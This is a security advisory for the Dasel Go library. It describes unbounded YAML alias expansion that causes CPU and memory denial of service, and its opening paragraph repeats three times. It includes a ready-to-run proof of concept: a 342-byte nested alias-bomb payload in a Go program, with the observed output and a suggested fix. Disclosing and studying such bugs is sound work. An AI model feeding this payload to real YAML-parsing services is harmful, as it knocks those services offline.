Dasel has unbounded YAML alias expansion in dasel leads to CPU/memory denial of service

Dasel is a command-line tool and library for querying, modifying, and transforming data structures. Starting in version 3.0.0 and prior to version 3.3.1, Dasel's YAML reader allows an attacker who can supply YAML for processing to trigger extreme CPU and memory consumption. The issue is in the library's own `UnmarshalYAML` implementation, which manually resolves alias nodes by recursively following `yaml.Node.Alias` pointers without any expansion budget, bypassing go-yaml v4's built-in alias expansion limit. Version 3.3.2 contains a patch for the issue.

Dasel is a command-line tool and library for querying, modifying, and transforming data structures. Starting in version 3.0.0 and prior to version 3.3.1, Dasel's YAML reader allows an attacker who can supply YAML for processing to trigger extreme CPU and memory consumption. The issue is in the library's own `UnmarshalYAML` implementation, which manually resolves alias nodes by recursively following `yaml.Node.Alias` pointers without any expansion budget, bypassing go-yaml v4's built-in alias expansion limit. Version 3.3.2 contains a patch for the issue.

Dasel is a command-line tool and library for querying, modifying, and transforming data structures. Starting in version 3.0.0 and prior to version 3.3.1, Dasel's YAML reader allows an attacker who can supply YAML for processing to trigger extreme CPU and memory consumption. The issue is in the library's own `UnmarshalYAML` implementation, which manually resolves alias nodes by recursively following `yaml.Node.Alias` pointers without any expansion budget, bypassing go-yaml v4's built-in alias expansion limit. Version 3.3.2 contains a patch for the issue.

### Summary `dasel`'s YAML reader allows an attacker who can supply YAML for processing to trigger extreme CPU and memory consumption. The issue is in the library's own `UnmarshalYAML` implementation, which manually resolves alias nodes by recursively following `yaml.Node.Alias` pointers without any expansion budget, bypassing go-yaml v4's built-in alias expansion limit. The issue issue is on `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`) and on the current default branch at commit `0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad`. It is also verified the same code path is present in `v3.0.0` (`648f83baf070d9e00db8ff312febef857ec090a3`). A 342-byte payload did not complete within 5 seconds on the test system and exhibited unbounded resource growth. ### Details In `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`), the reachable call path is: - The YAML reader is registered in [`parsing/yaml/yaml.go`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml.go) and exposed via `parsing.Format("yaml").NewReader()` - `(*yamlReader).Read` in [`parsing/yaml/yaml_reader.go#L23-L48`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml_reader.go#L23-L48) uses `yaml.NewDecoder` to decode the input. Because `yamlValue` implements `UnmarshalYAML(*yaml.Node)`, the decoder passes the raw `*yaml.Node` tree to that custom unmarshaler - `(*yamlValue).UnmarshalYAML` in [`parsing/yaml/yaml_reader.go#L57-L131`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml_reader.go#L57-L131) walks the Node tree - When an `AliasNode` is encountered, the handler at [`parsing/yaml/yaml_reader.go#L119-L126`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml_reader.go#L119-L126) recursively calls `newVal.UnmarshalYAML(value.Alias)` without tracking expansion count The root cause is that go-yaml v4 has two decoding paths: 1. **`Unmarshal` into Go values**: Tracks alias expansion count and rejects documents with excessive aliasing (`"yaml: document contains excessive aliasing"`). 2. **`Decode` into `yaml.Node` / custom `UnmarshalYAML`**: Passes a compact Node tree where alias nodes are pointers to their anchors. No expansion occurs at this level. Dasel receives the compact Node tree via its `UnmarshalYAML(*yaml.Node)` hook and then recursively follows `value.Alias` pointers, re-expanding aliases without a budget: ```go case yaml.AliasNode: newVal := &yamlValue{} if err := newVal.UnmarshalYAML(value.Alias); err != nil { return err } yv.value = newVal.value yv.value.SetMetadataValue("yaml-alias", value.Value) ``` With a 9-level alias bomb (each level referencing the previous 9 times), this produces hundreds of millions of recursive expansions from a 342-byte input. Test environment: - MacBook Air (Apple M2), macOS / Darwin `arm64` - Go `1.26.1` - dasel `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`) - go.yaml.in/yaml/v4 `v4.0.0-rc.3` ### PoC ```go package main import ( "fmt" "runtime" "time" "github.com/tomwright/dasel/v3/parsing" _ "github.com/tomwright/dasel/v3/parsing/yaml" "go.yaml.in/yaml/v4" ) func main() { payload := `a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"] b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a] c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b] d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c] e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d] f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e] g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f] h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g] i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] ` fmt.Printf("Payload size: %d bytes\n", len(payload)) fmt.Printf("Go version: %s\n", runtime.Version()) fmt.Printf("GOARCH: %s\n", runtime.GOARCH) fmt.Println() // 1. go-yaml v4 Unmarshal correctly rejects this fmt.Println("=== Test 1: Direct yaml.Unmarshal (should be rejected) ===") { var v interface{} start := time.Now() err := yaml.Unmarshal([]byte(payload), &v) elapsed := time.Since(start) if err != nil { fmt.Printf("SAFE: Rejected in %v: %v\n", elapsed, err) } else { fmt.Printf("VULNERABLE: Completed in %v\n", elapsed) } } fmt.Println() // 2. Dasel's YAML reader is vulnerable fmt.Println("=== Test 2: Dasel YAML reader (VULNERABLE) ===") done := make(chan string, 1) go func() { reader, err := parsing.Format("yaml").NewReader(parsing.DefaultReaderOptions()) if err != nil { done <- fmt.Sprintf("Error creating reader: %v", err) return } start := time.Now() _, err = reader.Read([]byte(payload)) elapsed := time.Since(start) if err != nil { done <- fmt.Sprintf("Error after %v: %v", elapsed, err) } else { done <- fmt.Sprintf("Completed in %v", elapsed) } }() select { case result := <-done: fmt.Println(result) case <-time.After(5 * time.Second): fmt.Println("CONFIRMED: did not complete within 5s; unbounded alias expansion in progress") } } ``` Observed output on `v3.3.1` in the test environment above: ```text Payload size: 342 bytes Go version: go1.26.1 GOARCH: arm64 === Test 1: Direct yaml.Unmarshal (should be rejected) === SAFE: Rejected in 824.042µs: yaml: document contains excessive aliasing === Test 2: Dasel YAML reader (VULNERABLE) === CONFIRMED: did not complete within 5s; unbounded alias expansion in progress ``` ### Impact An attacker who can supply YAML for processing by dasel can cause denial of service. The library's own `UnmarshalYAML` handler triggers unbounded recursive alias expansion from a 342-byte input. The process consumes 100% CPU and exhibits growing memory usage until externally terminated. This affects: - CLI usage: when reading YAML from stdin or files via the CLI - Library usage: any application using dasel's YAML reader to parse untrusted YAML - The `parse("yaml", ...)` function in selectors ### Suggested Fix One likely fix is to add an alias expansion counter to `UnmarshalYAML` that limits the total number of alias resolutions, similar to go-yaml v4's internal limit. For example, track a counter across all recursive calls and return an error when it exceeds a threshold (e.g., 1,000,000 expansions).

Dasel has unbounded YAML alias expansion in dasel leads to CPU/memory denial of service in github.com/tomwright/dasel